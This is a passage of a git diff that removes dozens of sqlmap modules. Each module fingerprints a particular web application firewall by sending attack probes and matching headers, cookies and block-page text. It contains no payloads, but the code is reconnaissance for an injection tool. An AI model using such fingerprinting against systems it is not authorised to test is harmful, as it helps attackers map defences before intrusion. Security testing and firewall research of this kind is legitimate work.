get_page(get=vector) - retval |= re.search(r"\Agreywizard", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("We've detected attempted attack or non standard traffic from your IP address", "Grey Wizard")) - if retval: - break - - return retval diff --git a/waf/imunify360.py b/waf/imunify360.py deleted file mode 100644 index 1fdcd175c07..00000000000 --- a/waf/imunify360.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Imunify360 (CloudLinux Inc.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"\Aimunify360", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("protected by Imunify360", "Powered by Imunify360", "imunify360 preloader")) - if retval: - break - - return retval diff --git a/waf/incapsula.py b/waf/incapsula.py deleted file mode 100644 index eff9954e335..00000000000 --- a/waf/incapsula.py +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Incapsula Web Application Firewall (Incapsula/Imperva)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"incap_ses|visid_incap", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"Incapsula", headers.get("X-CDN", ""), re.I) is not None - retval |= "Incapsula incident ID" in (page or "") - retval |= all(_ in (page or "") for _ in ("Error code 15", "This request was blocked by the security rules")) - retval |= re.search(r"(?i)incident.{1,100}?\b\d{19}\-\d{17}\b", page or "") is not None - retval |= headers.get("X-Iinfo") is not None - if retval: - break - - return retval diff --git a/waf/isaserver.py b/waf/isaserver.py deleted file mode 100644 index 2f4f11137f5..00000000000 --- a/waf/isaserver.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.common import randomInt - -__product__ = "ISA Server (Microsoft)" - -def detect(get_page): - page, _, _ = get_page(host=randomInt(6)) - retval = "The server denied the specified Uniform Resource Locator (URL). Contact the server administrator." in (page or "") - retval |= "The ISA Server denied the specified Uniform Resource Locator (URL)" in (page or "") - return retval diff --git a/waf/janusec.py b/waf/janusec.py deleted file mode 100644 index ac6850a26e9..00000000000 --- a/waf/janusec.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Janusec Application Gateway (Janusec)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= all(_ in (page or "") for _ in ("Reason:", "by Janusec Application Gateway")) - if retval: - break - - return retval diff --git a/waf/jiasule.py b/waf/jiasule.py deleted file mode 100644 index 9f3de7b5973..00000000000 --- a/waf/jiasule.py +++ /dev/null @@ -1,28 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Jiasule Web Application Firewall (Jiasule)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= re.search(r"jiasule-WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"__jsluid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"jsl_tracking", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"static\.jiasule\.com/static/js/http_error\.js", page or "", re.I) is not None - retval |= code == 403 and "notice-jiasule" in (page or "") - if retval: - break - - return retval diff --git a/waf/knownsec.py b/waf/knownsec.py deleted file mode 100644 index 13232c7b654..00000000000 --- a/waf/knownsec.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "KS-WAF (Knownsec)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= re.search(r"url\('/ks-waf-error\.png'\)", page or "", re.I) is not None - if retval: - break - - return retval diff --git a/waf/kona.py b/waf/kona.py deleted file mode 100644 index c34f2d9731a..00000000000 --- a/waf/kona.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "KONA Security Solutions (Akamai Technologies)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= (code or 0) >= 400 and re.search(r"AkamaiGHost", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/malcare.py b/waf/malcare.py deleted file mode 100644 index 85902f2fd90..00000000000 --- a/waf/malcare.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "MalCare (Inactiv.com Media Solutions Pvt Ltd.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= "Blocked because of Malicious Activities" in (page or "") - retval |= re.search(r"Firewall(<[^>]+>)*powered by(<[^>]+>)*MalCare", page or "") is not None - if retval: - break - - return retval diff --git a/waf/modsecurity.py b/waf/modsecurity.py deleted file mode 100644 index 74f65149816..00000000000 --- a/waf/modsecurity.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "ModSecurity: Open Source Web Application Firewall (Trustwave)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= re.search(r"Mod_Security|NOYB", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("This error was generated by Mod_Security", "One or more things in your request were suspicious", "rules of the mod_security module", "Protected by Mod Security")) - if retval: - break - - return retval diff --git a/waf/naxsi.py b/waf/naxsi.py deleted file mode 100644 index 67638bc276a..00000000000 --- a/waf/naxsi.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "NAXSI (NBS System)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval |= re.search(r"naxsi/waf", headers.get(HTTP_HEADER.X_DATA_ORIGIN, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/netscaler.py b/waf/netscaler.py deleted file mode 100644 index c3a5472fd34..00000000000 --- a/waf/netscaler.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "NetScaler AppFirewall (Citrix)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("Application Firewall Block Page", "Violation Category: APPFW_", "AppFW Session ID", "Access has been blocked - if you feel this is in error, please contact the site administrators quoting the following")) - if retval: - break - - return retval diff --git a/waf/newdefend.py b/waf/newdefend.py deleted file mode 100644 index c52d61b0dcf..00000000000 --- a/waf/newdefend.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Newdefend Web Application Firewall (Newdefend)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"NewDefend", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("/nd_block/", "http://www.newdefend.com/feedback/misinformation/")) - if retval: - break - - return retval diff --git a/waf/nexusguard.py b/waf/nexusguard.py deleted file mode 100644 index 29b385a09bb..00000000000 --- a/waf/nexusguard.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Nexusguard (Nexusguard Limited)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= "

Powered by Nexusguard

" in (page or "") - retval |= re.search(r"speresources\.nexusguard\.com/wafpage/[^>]*#\d{3};", page or "") is not None - if retval: - break - - return retval diff --git a/waf/ninjafirewall.py b/waf/ninjafirewall.py deleted file mode 100644 index c6bddca4154..00000000000 --- a/waf/ninjafirewall.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "NinjaFirewall (NinTechNet)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= "NinjaFirewall: 403 Forbidden" in (page or "") - retval |= all(_ in (page or "") for _ in ("For security reasons, it was blocked and logged", "NinjaFirewall")) - if retval: - break - - return retval diff --git a/waf/onmessageshield.py b/waf/onmessageshield.py deleted file mode 100644 index 5f5325b2537..00000000000 --- a/waf/onmessageshield.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "onMessage Shield (Blackbaud)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"onMessage Shield", headers.get("X-Engine", ""), re.I) is not None - retval |= "This site is protected by an enhanced security system to ensure a safe browsing experience" in (page or "") - retval |= "onMessage SHIELD" in (page or "") - if retval: - break - - return retval diff --git a/waf/paloalto.py b/waf/paloalto.py deleted file mode 100644 index 0faaeb2deb6..00000000000 --- a/waf/paloalto.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Palo Alto Firewall (Palo Alto Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= re.search(r"has been blocked in accordance with company policy", page or "", re.I) is not None - retval |= all(_ in (page or "") for _ in ("Palo Alto Next Generation Security Platform", "Download Blocked")) - if retval: - break - - return retval diff --git a/waf/perimeterx.py b/waf/perimeterx.py deleted file mode 100644 index 298ebdb0768..00000000000 --- a/waf/perimeterx.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "PerimeterX (PerimeterX, Inc.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= "https://www.perimeterx.com/whywasiblocked" in (page or "") - if retval: - break - - return retval diff --git a/waf/profense.py b/waf/profense.py deleted file mode 100644 index b210dab9104..00000000000 --- a/waf/profense.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Profense Web Application Firewall (Armorlogic)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval |= re.search(r"\APLBSID=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"Profense", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/proventia.py b/waf/proventia.py deleted file mode 100644 index 3aca6a3d66c..00000000000 --- a/waf/proventia.py +++ /dev/null @@ -1,15 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -__product__ = "Proventia Web Application Security (IBM)" - -def detect(get_page): - page, _, _ = get_page() - if page is None: - return False - page, _, _ = get_page(url="/Admin_Files/") - return page is None diff --git a/waf/radware.py b/waf/radware.py deleted file mode 100644 index cf12b495b13..00000000000 --- a/waf/radware.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "AppWall (Radware)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"Unauthorized Activity Has Been Detected.+Case Number:", page or "", re.I | re.S) is not None - retval |= headers.get("X-SL-CompState") is not None - if retval: - break - - return retval diff --git a/waf/reblaze.py b/waf/reblaze.py deleted file mode 100644 index e86372df3e1..00000000000 --- a/waf/reblaze.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Reblaze Web Application Firewall (Reblaze)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"\Arbzid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"Reblaze Secure Web Gateway", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= all(_ in (page or "") for _ in ("Current session has been terminated", "For further information, do not hesitate to contact us", "Access denied (403)")) - if retval: - break - - return retval diff --git a/waf/requestvalidationmode.py b/waf/requestvalidationmode.py deleted file mode 100644 index e608905378a..00000000000 --- a/waf/requestvalidationmode.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "ASP.NET RequestValidationMode (Microsoft)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, code = get_page(get=vector) - retval |= "ASP.NET has detected data in the request that is potentially dangerous" in (page or "") - retval |= "Request Validation has detected a potentially dangerous client input value" in (page or "") - retval |= code == 500 and "HttpRequestValidationException" in page - if retval: - break - - return retval diff --git a/waf/rsfirewall.py b/waf/rsfirewall.py deleted file mode 100644 index 740434fa48d..00000000000 --- a/waf/rsfirewall.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "RSFirewall (RSJoomla!)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("COM_RSFIREWALL_403_FORBIDDEN", "COM_RSFIREWALL_EVENT")) - if retval: - break - - return retval diff --git a/waf/safe3.py b/waf/safe3.py deleted file mode 100644 index 2c2a5004973..00000000000 --- a/waf/safe3.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Safe3 Web Application Firewall" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"Safe3WAF", headers.get(HTTP_HEADER.X_POWERED_BY, ""), re.I) is not None - retval |= re.search(r"Safe3 Web Firewall", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= all(_ in (page or "") for _ in ("403 Forbidden", "Safe3waf/")) - if retval: - break - - return retval diff --git a/waf/safedog.py b/waf/safedog.py deleted file mode 100644 index 7f32eecb424..00000000000 --- a/waf/safedog.py +++ /dev/null @@ -1,27 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Safedog Web Application Firewall (Safedog)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"WAF/2\.0", headers.get(HTTP_HEADER.X_POWERED_BY, ""), re.I) is not None - retval |= re.search(r"Safedog", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"safedog", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("safedogsite/broswer_logo.jpg", "404.safedog.cn/sitedog_stat.html")) - if retval: - break - - return retval diff --git a/waf/safeline.py b/waf/safeline.py deleted file mode 100644 index 7d63ea9a037..00000000000 --- a/waf/safeline.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SafeLine Next Gen WAF (Chaitin Tech)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= all(_ in (page or "") for _ in ("SafeLine", "<!-- event_id:")) - if retval: - break - - return retval diff --git a/waf/secureentry.py b/waf/secureentry.py deleted file mode 100644 index a75efd622ce..00000000000 --- a/waf/secureentry.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Secure Entry Server (United Security Providers)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= (code or 0) >= 400 and re.search(r"Secure Entry Server", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/secureiis.py b/waf/secureiis.py deleted file mode 100644 index 32221667ad5..00000000000 --- a/waf/secureiis.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SecureIIS Web Server Security (BeyondTrust)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= re.search(r"SecureIIS[^<]+Web Server Protection", page or "") is not None - retval |= "http://www.eeye.com/SecureIIS/" in (page or "") - retval |= re.search(r"\?subject=[^>]*SecureIIS Error", page or "") is not None - if retval: - break - - return retval diff --git a/waf/securesphere.py b/waf/securesphere.py deleted file mode 100644 index ec633fbe347..00000000000 --- a/waf/securesphere.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SecureSphere Web Application Firewall (Imperva)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= re.search(r"<H2>Error</H2>.+?#FEEE7A.+?<STRONG>Error</STRONG>|Contact support for additional information.<br/>The incident ID is: (\\d{19}|N/A)", page or "", re.I) is not None - if retval: - break - - return retval diff --git a/waf/senginx.py b/waf/senginx.py deleted file mode 100644 index d1bdfff8fe2..00000000000 --- a/waf/senginx.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SEnginx (Neusoft Corporation)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= "SENGINX-ROBOT-MITIGATION" in (page or "") - if retval: - break - - return retval diff --git a/waf/shieldsecurity.py b/waf/shieldsecurity.py deleted file mode 100644 index 4f78f06bb25..00000000000 --- a/waf/shieldsecurity.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Shield Security (One Dollar Plugin)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= "Something in the URL, Form or Cookie data wasn't appropriate" in (page or "") - if retval: - break - - return retval diff --git a/waf/siteground.py b/waf/siteground.py deleted file mode 100644 index c412a1406af..00000000000 --- a/waf/siteground.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SiteGround Web Application Firewall (SiteGround)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= "The page you are trying to access is restricted due to a security rule" in (page or "") - if retval: - break - - return retval diff --git a/waf/siteguard.py b/waf/siteguard.py deleted file mode 100644 index 27843f17284..00000000000 --- a/waf/siteguard.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SiteGuard (JP-Secure)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("Powered by SiteGuard", "The server refuse to browse the page")) - if retval: - break - - return retval diff --git a/waf/sitelock.py b/waf/sitelock.py deleted file mode 100644 index 42cb0e76821..00000000000 --- a/waf/sitelock.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "TrueShield Web Application Firewall (SiteLock)" - -# Note: https://www.whitefirdesign.com/blog/2016/11/08/more-evidence-that-sitelocks-trueshield-web-application-firewall-is-really-incapsulas-waf/ -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("SiteLock Incident ID", '<span class="value INCIDENT_ID">')) - if retval: - break - - return retval diff --git a/waf/sonicwall.py b/waf/sonicwall.py deleted file mode 100644 index 9cbec14b83d..00000000000 --- a/waf/sonicwall.py +++ /dev/null @@ -1,27 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SonicWALL (Dell)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= "This request is blocked by the SonicWALL" in (page or "") - retval |= all(_ in (page or "") for _ in ("#shd", "#nsa_banner")) - retval |= re.search(r"Web Site Blocked.+\bnsa_banner", page or "", re.I) is not None - retval |= re.search(r"SonicWALL", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/sophos.py b/waf/sophos.py deleted file mode 100644 index 189a4201ca3..00000000000 --- a/waf/sophos.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "UTM Web Protection (Sophos)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= "Powered by UTM Web Protection" in (page or "") - if retval: - break - - return retval diff --git a/waf/squarespace.py b/waf/squarespace.py deleted file mode 100644 index 790c278a6c3..00000000000 --- a/waf/squarespace.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Squarespace Web Application Firewall (Squarespace)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= all(_ in (page or "") for _ in ("BRICK-50", " @ ", "404 Not Found")) - if retval: - break - - return retval diff --git a/waf/stackpath.py b/waf/stackpath.py deleted file mode 100644 index 1ffc1b0fd78..00000000000 --- a/waf/stackpath.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "StackPath Web Application Firewall (StackPath LLC)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= all(_ in (page or "") for _ in ("You performed an action that triggered the service and blocked your request",)) - if retval: - break - - return retval diff --git a/waf/sucuri.py b/waf/sucuri.py deleted file mode 100644 index c4c2de8132d..00000000000 --- a/waf/sucuri.py +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "CloudProxy WebSite Firewall (Sucuri)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= "Access Denied - Sucuri Website Firewall" in (page or "") - retval |= "Sucuri WebSite Firewall - CloudProxy - Access Denied" in (page or "") - retval |= re.search(r"Questions\?.+cloudproxy@sucuri\.net", (page or "")) is not None - retval |= headers.get("X-Sucuri-ID") is not None - retval |= headers.get("X-Sucuri-Cache") is not None - if retval: - break - - return retval diff --git a/waf/tencent.py b/waf/tencent.py deleted file mode 100644 index 75609ae5037..00000000000 --- a/waf/tencent.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Tencent Cloud Web Application Firewall (Tencent Cloud Computing)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, code = get_page(get=vector) - retval |= code == 405 and "waf.tencent-cloud.com" in (page or "") - if retval: - break - - return retval diff --git 